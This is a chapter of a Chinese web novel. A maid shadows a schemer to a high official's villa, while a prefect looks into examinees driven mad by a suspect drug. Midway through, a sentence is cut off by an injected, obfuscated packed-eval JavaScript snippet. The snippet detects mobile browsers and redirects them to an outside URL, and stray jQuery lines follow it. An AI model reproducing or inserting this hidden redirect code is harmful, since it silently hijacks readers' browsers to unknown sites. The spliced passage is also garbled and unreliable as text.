102.蛛丝暗结

作品:《青云梯·女子拜相

    贡院之外,又是另一番景象。大门紧闭,围墙高耸,隔绝了所有视线与声音。


    昭影换了一身靛蓝粗布衣裙,用一块半旧头巾包住了大半头发,提着个竹篮,扮作出来采买或走亲戚的妇人模样,在东城那一片鱼龙混杂的棚户区附近看似漫无目的地转悠。目光却仔细扫过每一个巷口,每一间低矮屋檐下的动静。


    棚户区白日里同样嘈杂肮脏,流淌着污水的小巷两侧挤满了各种简陋的窝棚,空气中混杂着食物、霉物和劣质炭火的味道。挑着担子的小贩,坐在门口缝补的妇人,奔跑打闹浑身泥污的孩子……一切都看似平常。


    昭影的目光,最终锁定了那间矮屋。此时屋门紧闭,窗户糊着厚厚的发黄的纸,看不出里面情形。一个驼背老汉正坐在隔壁屋檐下的阴凉处,吧嗒吧嗒抽着旱烟,正是她见过的那个“夜香夫”。他看起来和周围任何一个贫苦老人没什么两样,眼神浑浊,脸上留下了被生活磨砺的痕迹。


    昭影没有靠近,而是在斜对面一个卖针头线脑的妇人摊子前蹲下,假装挑选,眼角的余光却始终留意着那边。


    时间一点点过去。那老汉抽完一袋烟,敲了敲烟袋锅,慢吞吞地起身,拿起靠在墙边的扁担和两只旧木桶,似乎准备去干活。但他走的方向,并非去收夜香,而是朝着棚户区更深处、更僻静的一条窄巷走去。


    她心头一动,迅速买了两根最便宜的针,谢过妇人,不动声色地跟了上去,始终保持着相当的距离,借助街巷的曲折和行人货物的遮挡,将自己完美地隐匿起来。


    那老汉在棚户区里七拐八绕,脚步看似蹒跚,速度却不慢,对路径极为熟悉。最终,他停在了一间比之前那处稍大、但也更破败的院落后门。他没有敲门,而是左右张望了一下,然后迅速推门闪了进去。


    昭影耐心地等了约莫一炷香的时间,那老汉没有出来。她观察了一下这院落,位置很偏,后门对着的死胡同堆满了垃圾,几乎无人经过。她绕到前门方向,发现这院子居然还临着一条稍微像样点的小街,门口挂着个几乎看不清字迹的旧木牌,似乎曾是个小小的脚店,如今早已歇业,门板紧闭,窗棂破损。


    这绝不是一个普通夜香夫的落脚处。昭影几乎可以断定,这里就是吴庸在青州的一个巢穴,很可能也是他存放货物、接头交易的地方。


    她正思索着是继续蹲守,还是冒险靠近探查,忽见那紧闭的前门,悄无声息地开了一条缝。一个戴着斗笠、穿着普通商贩短褐的身影闪了出来,他手里提着一个不大的布包袱,出来后立刻压低斗笠,快步朝着与贡院相反的方向走去。


    虽然换了装束,刻意佝偻着背,但昭影对那道身影的轮廓、走路的姿势太过熟悉。


    他果然在这里!而且在这个院试刚刚开始的节点,便急匆匆地外出,所为何事?


    昭影没有丝毫犹豫,将竹篮往那堆竹篓里一塞,远远跟了上去。


    吴庸极为警惕,专挑人多拥挤的街市走,不时突然拐入岔路,或在某个摊位前驻足,状似挑选,实则观察身后。


    昭影将跟踪的距离拉得更远,凭借着对地形的快速记忆和远超常人的敏捷,始终未曾脱离。


    最终,吴庸的目的地,让昭影的眉头深深蹙起。


    那是青州府城西,一片相对清静的街区,多为富户或中低级官员的宅邸。吴庸来到一处黑漆铜环的宅院侧门,再次左右观望后,有节奏地轻叩了几下。侧门很快打开一条缝,吴庸迅速闪身而入,门随即关上。


    昭影藏身在对街一株枝叶茂密的槐树后,静伏了将近一个时辰。这期间,那扇黑漆侧门再未开启,也未见其他人出入。宅院正门始终紧闭,门庭冷落,连个守门的仆役都未见。若非吴庸确凿无疑地进入,此地几乎与一座无人居住的空宅无异。


    日头渐渐西斜,在青石板上拉出长长的影子。棚户区那边暂时不能回去,以免惊动那老汉。这处宅邸又深不可测。昭影心中焦急,姑娘还在贡院之内,情况不明,而吴庸这条毒蛇却与官宅勾连,所图必然更大。


    所以,她必须弄清楚这宅院的主人是谁。


    她耐心等到一个挑着馄饨担子的小贩,沿着街边慢悠悠地吆喝着路过。


    昭影从树后走出,装作是附近住户,上前要了一碗馄饨,趁小贩低头忙碌时,状似随意地搭话:“老师傅,这宅子看着挺气派,怎地不见人进出?主人家是出远门了么?”


    小贩是个五十来岁的干瘦老头,闻言抬头瞅了那宅子一眼,压低声音道:“娘子是外乡人吧?这可不是寻常人家。这是咱们府衙王同知王老爷的别院,平日里不大住的,只偶尔来歇歇脚,或者招待些不便在正宅见面的客人。”


    王同知?昭影心中剧震。青州府同知,正五品,是知府沈墨之下最重要的佐贰官之一,分管粮储、盐政、水利等实权事务,在青州官场可谓位高权重。吴庸竟能直入王同知的别院侧门,且滞留如此之久?


    “王老爷的别院啊,”昭影做出恍然又带点敬畏的神色,“那是清贵,难怪这般安静。”


    “可不是么,”小贩将煮好的馄饨舀进粗陶碗,撒上葱花,递给她,嘴却没停,“王老爷公务繁忙,这院子多是底下人看管。不过前些日子,好像来得勤了些,有时候深更半夜还有轿子来,神神秘秘的。”


    昭影心头更沉,付了钱,端着碗慢慢吃着,目光却再次落在那紧闭的门扉上。


    事关重大,远超她与姑娘先前预估。这已非她们两人所能应对,若王同知真是崔系人马,沈大人身为上官,是否早有察觉?是否有所掣肘?


    就在她心念电转之际,那扇侧门再次悄无声息地打开了。出来的是吴庸,他手中的布包袱已然不见,神色间似乎轻松了些,但眼底那抹阴鸷与警惕丝毫未减,他依旧压低斗笠,快步离开。


    昭影迅速吃完剩下的馄饨,将碗还与小贩,再次悄无声息地跟了上去。这一次,她的跟踪更加谨慎,几乎将距离拉到目力所及的极限,宁愿丢失目标再凭借判断寻回,也绝不冒险靠近。吴庸与王同知有牵连,其危险程度已直线上升。


    吴庸并未直接回那间脚店旧院,而是又在城中绕了几圈,最后才闪入棚户区,回到了那矮屋附近。昭影没有再跟进去,她记住了位置,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17308494|191328||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    今日所得信息已足够惊人,也足够危险。


    她悄无声息地退走,先去了寄存竹篮的地方,取回自己的东西,然后融入了傍晚归家的人群中,朝着悦来居的方向行去。


    ————


    贡院内,第一场考试结束的锣声终于敲响。


    差役依次收卷,学子们如释重负又疲惫不堪地陆续走出号舍,许多人脸色苍白,眼神涣散,显然尚未从上午那场突如其来的癫狂事件中完全恢复。


    谢明昭将自己的试卷双手平整递上,看着差役收走,纳入厚厚一摞卷宗之中。


    她默默退回号舍,狭小的空间里,光线已然昏暗。疲惫如潮水般涌上,她从考篮底层取出一个油纸包,里面是昭影精心准备的耐存放干粮。就着号舍门口木板上那个固定的小陶壶里刚换下不久还微温的白水,小口地啃着烤饼。


    明远楼上,灯火早已点亮。沈墨没有用膳,只是端着一盏早已凉透的茶,凭栏而立。暮色将他的身影拉得很长,他的目光多次掠过谢明昭所在的片区,看到谢明昭平静地出入,检查,用饭,虽看不清神色,但那从容的举止本身,已让他心下稍定。这是个心志极为坚韧的女子,远超寻常男儿。


    然而,这份稍定,无法驱散他心头的阴云,反而因其对比,显得那潜藏的危险更加深重。


    上午那三人突然发作,他第一时间便怀疑与“益智丸”有关,立刻命心腹之人将人带下去严加看管、秘密诊治,并封锁了消息,对外只称突发恶疾。此事绝不能再扩散,引起更大恐慌。


    但这三人的出现,坐实了“益智丸”已在青州考场流毒,且看发作时辰,应是考前不久服用。他们从何处得来?还有多少人服用而未发?


    他面色沉静如水,心中却波澜起伏。王同知近日有些异常的举动,某些关节处的阻滞,一些原本模糊的线索,似乎因这“益智丸”和考场癫狂事件,而隐隐有了指向。


    “大人,”身后传来心腹幕僚黄先生的声音,他走上前,压低声音道:“那三名学子已安置在僻静处,李大夫看过了,脉象躁急混乱,心神涣散,似有药物刺激之象。三人时而昏沉,时而胡言乱语,问不出什么。”


    沈墨没有回头,指尖无意识地摩挲着冰凉的瓷盏边缘:“可能断定是何药物?”


    “李大夫说,症状似与西南边陲一些邪教控制信众的迷幻草药有相似之处,但又杂以提神亢奋的虎狼之品,炮制诡谲,一时难以尽辨。已取了口涎、汗液样本,或可慢慢析出成分。”


    沈墨微微颔首,目光依旧看着下方:“看好他们,用最好的药,务必保住性命,清醒神智。另外,”他声音压得更低,“暗中查一查,他们考前与何人接触过,尤其是与府衙某些人,是否有过交集。”


    黄先生心神一凛,低头应下,随即躬身退下。


    沈墨依旧立在栏边,望向楼下。贡院内已逐渐安静,只余巡逻兵丁规律沉重的脚步声,和号舍中隐约传来的咳嗽与叹息声。


    夜风渐凉,他握紧了手中冰冷的茶盏。明日,还有两场考试,更大的风浪,或许还在后头。


    ————